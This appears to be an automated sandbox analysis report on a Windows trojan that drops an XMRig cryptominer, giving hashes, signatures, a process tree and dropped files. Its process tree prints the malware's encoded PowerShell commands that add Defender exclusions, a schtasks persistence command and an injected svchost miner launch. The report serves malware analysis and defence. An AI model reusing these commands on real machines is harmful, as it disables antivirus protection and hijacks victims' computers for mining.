Analysis

  • max time kernel
    161s
  • max time network
    143s
  • platform
    windows10_x64
  • resource
    win10-en-20211014
  • submitted
    06-12-2021 03:14

General

  • Target

    SecuriteInfo.com.Trojan.Siggen15.58403.20850.14287.exe

  • Size

    5.4MB

  • MD5

    5748009f0073ba952cbb581c44530798

  • SHA1

    3304676ed8a238bf792a0fa359708861b3bfd42a

  • SHA256

    4535de41278b2d4487e8f51de5851d8623de81e68060fe42d9ecb2cc23c4ed06

  • SHA512

    03b13118184ea701e9257e2e9cc9698dffadfcd42276a3771477c95ff6e4351500ce85563444ccc98f948ae91c1ed6f6969ad33437105016c74a7e96adf0febf

Score
10/10

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 40 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.Siggen15.58403.20850.14287.exe
    "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.Siggen15.58403.20850.14287.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1188
    • C:\Windows\SYSTEM32\cmd.exe
      "cmd" cmd /c powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" & powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA=" & exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1524
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1004
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA="
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:860
    • C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\Microsoft\services64.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2804
      • C:\Windows\system32\schtasks.exe
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\Microsoft\services64.exe"
        3⤵
        • Creates scheduled task(s)
        PID:3236
    • C:\Windows\SYSTEM32\cmd.exe
      "cmd" cmd /c "C:\Users\Admin\Microsoft\services64.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1840
      • C:\Users\Admin\Microsoft\services64.exe
        C:\Users\Admin\Microsoft\services64.exe
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:1040
        • C:\Windows\system32\cmd.exe
          "cmd" cmd /c powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" & powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA=" & exit
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3136
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA"
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3692
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA="
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:692
        • C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost64.exe
          "C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost64.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:1728
          • C:\Windows\System32\conhost.exe
            "C:\Windows\System32\conhost.exe" "mlqowtwyezocuz"
            5⤵
              PID:2620
          • C:\Windows\System32\svchost.exe
            C:\Windows\System32\svchost.exe rdwexnmbexgwvux0 Xji3FXYfqqI2timPThbgZueMNpSES88mLhMz2ywydJRha9S4YJkR8/KlqFio/vzAY7y//ZROYnArPXLiffwPB3EYEaWtdTNgeO+yOcML2FLdin0Rbrrbm/YoAjK7mqvZEX/HgK//sgsnHcQsRkM9iGKCen+11TiuyHWyZAdf1wMLE4agYXDET+uLyuqzRfvjrbqdOzrMw7uyk9GJnctDF8x49xwghsNTxALZT8Q9OM4wOBYwE039IMn9ca6XIbihdWj5HyYAJaQbSZphwh7fCuYt0jnCH0tNapinYPmpr65hdz5iy8i4gYX/G2mW0bWM7v5yf7/M2g2SVIovCp85oojSagGHvGHL9NSpcgvmBfYrdWxs22CrpiqlLHwgNqOtzxdN5e8kce4ENimY0bna8qreUya9Oikcj5lQ/56VmmV9Rh/Te8Hm+EfV7aQGkEt7MvpdIliJYJQpq2Rqw4034WTmYmYIyNc1KTfSbRTTojhYmzmEfUwH1A/sCOYdzo1OYQdU8gUbDvK3Kvse8WXom5OTFAiqYFmnf8ovp3DqBcmGqaVa1ozl51yTYaQREubTK3akW3GhtG5yyHb2vOLHgRrAgqZDab/X7gLYtnofzkqda7eCFUGhOiP05JYct6ux
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:4064

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Execution

    Scheduled Task

    1
    T1053

    Persistence

    Scheduled Task

    1
    T1053

    Privilege Escalation

    Scheduled Task

    1
    T1053

    Discovery

    System Information Discovery

    1
    T1082

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
      MD5

      ad5cd538ca58cb28ede39c108acb5785

      SHA1

      1ae910026f3dbe90ed025e9e96ead2b5399be877

      SHA256

      c9e6cb04d6c893458d5a7e12eb575cf97c3172f5e312b1f63a667cbbc5f0c033

      SHA512

      c066c5d9b276a68fa636647bb29aea05bfa2292217bc77f5324d9c1d93117772ee8277e1f7cff91ec8d6b7c05ca078f929cecfdbb09582522a9067f54740af13

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
      MD5

      8653fbfc87d438da06a51a21896f34c0

      SHA1

      1be258592ad73ecacad2b2371d849ffc33a9d055

      SHA256

      cf61db9b986020d1ebf201c3065e899cc2b5f83bb501936ae37390e83fc12595

      SHA512

      ac1c8bc9f1bcc8bc17a82ce5580bef6901ec8d69ac0d461fbe655584bf9d1c2c0d23f34c316f4bc4d2169bbe94ceb2fe99001437bba3d1e598180784f5b3e5fc

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
      MD5

      3cf5401dbd9ec6f24011d48148d4a9ee

      SHA1

      8d5ac4b9d209c73860bd692d8c7b9f46bcefa331

      SHA256

      754371aceaa922fb5330fd60b041c2782f2b4464a2fe0fc97eefacea30173ee2

      SHA512

      68bb7a6f4f0d8d7adeaed59832cc063fef8463937f6c923477c554c6fc53140fc81b40551a6038c04214357d00604de6454996c3200b35725b0bf954cf2682c1

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
      MD5

      c814d6e28403eef855522466040280ce

      SHA1

      a5ec321180056c08de42b44d4ded986135a1177d

      SHA256

      6e65a70115899e2698cf5ed68952a54705d7c1f221f33185d3fda6eef8a017c8

      SHA512

      012a8c50dcf2258b0a19e290475956d759d6d0a74ea87fca4f66b836c3737c98602dd3004719ddc3a0d83be8699aebf049255dbbe4903dc49194e807240a6809

    • C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost64.exe
      MD5

      9f196bd28274bbf24456746341db2b25

      SHA1

      3bd9a482dc88a6bd42465cb37c3d288a180386e0

      SHA256

      ee183792c122aed123b5b7e111911a5d61fef56053449d5cc11c262c1315c9cc

      SHA512

      5e2753c621534b14e5457ca81246cc17b00b55facc4a733d87e094ee63fb5afc51273d3a2ea94207abf01e211e911e2cd33f7895a3d13266c9544b87a39b4b56

    • C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost64.exe
      MD5

      9f196bd28274bbf24456746341db2b25

      SHA1

      3bd9a482dc88a6bd42465cb37c3d288a180386e0

      SHA256

      ee183792c122aed123b5b7e111911a5d61fef56053449d5cc11c262c1315c9cc

      SHA512

      5e2753c621534b14e5457ca81246cc17b00b55facc4a733d87e094ee63fb5afc51273d3a2ea94207abf01e211e911e2cd33f7895a3d13266c9544b87a39b4b56

    • C:\Users\Admin\Microsoft\services64.exe
      MD5

      5748009f0073ba952cbb581c44530798

      SHA1

      3304676ed8a238bf792a0fa359708861b3bfd42a

      SHA256

      4535de41278b2d4487e8f51de5851d8623de81e68060fe42d9ecb2cc23c4ed06

      SHA512

      03b13118184ea701e9257e2e9cc9698dffadfcd42276a3771477c95ff6e4351500ce85563444ccc98f948ae91c1ed6f6969ad33437105016c74a7e96adf0febf

    • C:\Users\Admin\Microsoft\services64.exe
      MD5

      5748009f0073ba952cbb581c44530798

      SHA1

      3304676ed8a238bf792a0fa359708861b3bfd42a

      SHA256

      4535de41278b2d4487e8f51de5851d8623de81e68060fe42d9ecb2cc23c4ed06

      SHA512

      03b13118184ea701e9257e2e9cc9698dffadfcd42276a3771477c95ff6e4351500ce85563444ccc98f948ae91c1ed6f6969ad33437105016c74a7e96adf0febf

    • memory/692-290-0x0000026F67FD0000-0x0000026F67FD2000-memory.dmp
      Filesize

      8KB

    • memory/692-292-0x0000026F67FD3000-0x0000026F67FD5000-memory.dmp
      Filesize

      8KB

    • memory/692-260-0x0000000000000000-mapping.dmp
    • memory/692-294-0x0000026F67FD6000-0x0000026F67FD8000-memory.dmp
      Filesize

      8KB

    • memory/692-303-0x0000026F67FD8000-0x0000026F67FD9000-memory.dmp
      Filesize

      4KB

    • memory/860-205-0x00000114C2DF8000-0x00000114C2DF9000-memory.dmp
      Filesize

      4KB

    • memory/860-190-0x00000114C2DF6000-0x00000114C2DF8000-memory.dmp
      Filesize

      8KB

    • memory/860-187-0x00000114C2DF0000-0x00000114C2DF2000-memory.dmp
      Filesize

      8KB

    • memory/860-176-0x00000114C1050000-0x00000114C1052000-memory.dmp
      Filesize

      8KB

    • memory/860-174-0x00000114C1050000-0x00000114C1052000-memory.dmp
      Filesize

      8KB

    • memory/860-173-0x00000114C1050000-0x00000114C1052000-memory.dmp
      Filesize

      8KB

    • memory/860-188-0x00000114C2DF3000-0x00000114C2DF5000-memory.dmp
      Filesize

      8KB

    • memory/860-171-0x00000114C1050000-0x00000114C1052000-memory.dmp
      Filesize

      8KB

    • memory/860-169-0x00000114C1050000-0x00000114C1052000-memory.dmp
      Filesize

      8KB

    • memory/860-164-0x0000000000000000-mapping.dmp
    • memory/860-166-0x00000114C1050000-0x00000114C1052000-memory.dmp
      Filesize

      8KB

    • memory/860-168-0x00000114C1050000-0x00000114C1052000-memory.dmp
      Filesize

      8KB

    • memory/860-167-0x00000114C1050000-0x00000114C1052000-memory.dmp
      Filesize

      8KB

    • memory/1004-135-0x00000206F51B0000-0x00000206F51B2000-memory.dmp
      Filesize

      8KB

    • memory/1004-134-0x00000206F51C0000-0x00000206F51C2000-memory.dmp
      Filesize

      8KB

    • memory/1004-140-0x00000206F51C6000-0x00000206F51C8000-memory.dmp
      Filesize

      8KB

    • memory/1004-138-0x00000206F51B0000-0x00000206F51B2000-memory.dmp
      Filesize

      8KB

    • memory/1004-137-0x00000206F6460000-0x00000206F6461000-memory.dmp
      Filesize

      4KB

    • memory/1004-163-0x00000206F51B0000-0x00000206F51B2000-memory.dmp
      Filesize

      8KB

    • memory/1004-136-0x00000206F51C3000-0x00000206F51C5000-memory.dmp
      Filesize

      8KB

    • memory/1004-184-0x00000206F51C8000-0x00000206F51C9000-memory.dmp
      Filesize

      4KB

    • memory/1004-133-0x00000206F51B0000-0x00000206F51B2000-memory.dmp
      Filesize

      8KB

    • memory/1004-128-0x00000206F51B0000-0x00000206F51B2000-memory.dmp
      Filesize

      8KB

    • memory/1004-132-0x00000206F51B0000-0x00000206F51B2000-memory.dmp
      Filesize

      8KB

    • memory/1004-131-0x00000206F5910000-0x00000206F5911000-memory.dmp
      Filesize

      4KB

    • memory/1004-126-0x0000000000000000-mapping.dmp
    • memory/1004-127-0x00000206F51B0000-0x00000206F51B2000-memory.dmp
      Filesize

      8KB

    • memory/1004-129-0x00000206F51B0000-0x00000206F51B2000-memory.dmp
      Filesize

      8KB

    • memory/1004-130-0x00000206F51B0000-0x00000206F51B2000-memory.dmp
      Filesize

      8KB

    • memory/1040-209-0x0000000000000000-mapping.dmp
    • memory/1040-228-0x00000000009A3000-0x00000000009A5000-memory.dmp
      Filesize

      8KB

    • memory/1040-229-0x00000000009A6000-0x00000000009A7000-memory.dmp
      Filesize

      4KB

    • memory/1040-227-0x00000000009A0000-0x00000000009A2000-memory.dmp
      Filesize

      8KB

    • memory/1188-123-0x0000000003843000-0x0000000003845000-memory.dmp
      Filesize

      8KB

    • memory/1188-121-0x0000000003630000-0x0000000003631000-memory.dmp
      Filesize

      4KB

    • memory/1188-119-0x000000001C560000-0x000000001C963000-memory.dmp
      Filesize

      4.0MB

    • memory/1188-118-0x0000000000CC0000-0x00000000010C7000-memory.dmp
      Filesize

      4.0MB

    • memory/1188-122-0x0000000003840000-0x0000000003842000-memory.dmp
      Filesize

      8KB

    • memory/1188-124-0x0000000003846000-0x0000000003847000-memory.dmp
      Filesize

      4KB

    • memory/1524-125-0x0000000000000000-mapping.dmp
    • memory/1728-300-0x0000000000000000-mapping.dmp
    • memory/1840-208-0x0000000000000000-mapping.dmp
    • memory/2620-319-0x0000022BC4CB3000-0x0000022BC4CB5000-memory.dmp
      Filesize

      8KB

    • memory/2620-318-0x0000022BC4CB0000-0x0000022BC4CB2000-memory.dmp
      Filesize

      8KB

    • memory/2620-317-0x0000022BC3010000-0x0000022BC3017000-memory.dmp
      Filesize

      28KB

    • memory/2620-320-0x0000022BC4CB6000-0x0000022BC4CB7000-memory.dmp
      Filesize

      4KB

    • memory/2804-206-0x0000000000000000-mapping.dmp
    • memory/3136-215-0x0000000000000000-mapping.dmp
    • memory/3236-207-0x0000000000000000-mapping.dmp
    • memory/3692-257-0x000002B777A66000-0x000002B777A68000-memory.dmp
      Filesize

      8KB

    • memory/3692-216-0x0000000000000000-mapping.dmp
    • memory/3692-258-0x000002B777A68000-0x000002B777A69000-memory.dmp
      Filesize

      4KB

    • memory/3692-231-0x000002B777A63000-0x000002B777A65000-memory.dmp
      Filesize

      8KB

    • memory/3692-230-0x000002B777A60000-0x000002B777A62000-memory.dmp
      Filesize

      8KB

    • memory/4064-305-0x0000000140310068-mapping.dmp
    • memory/4064-307-0x0000000140000000-0x0000000140787000-memory.dmp
      Filesize

      7.5MB

    • memory/4064-308-0x0000023E65C80000-0x0000023E65CA0000-memory.dmp
      Filesize

      128KB

    • memory/4064-321-0x0000023E65CA0000-0x0000023E65CC0000-memory.dmp
      Filesize

      128KB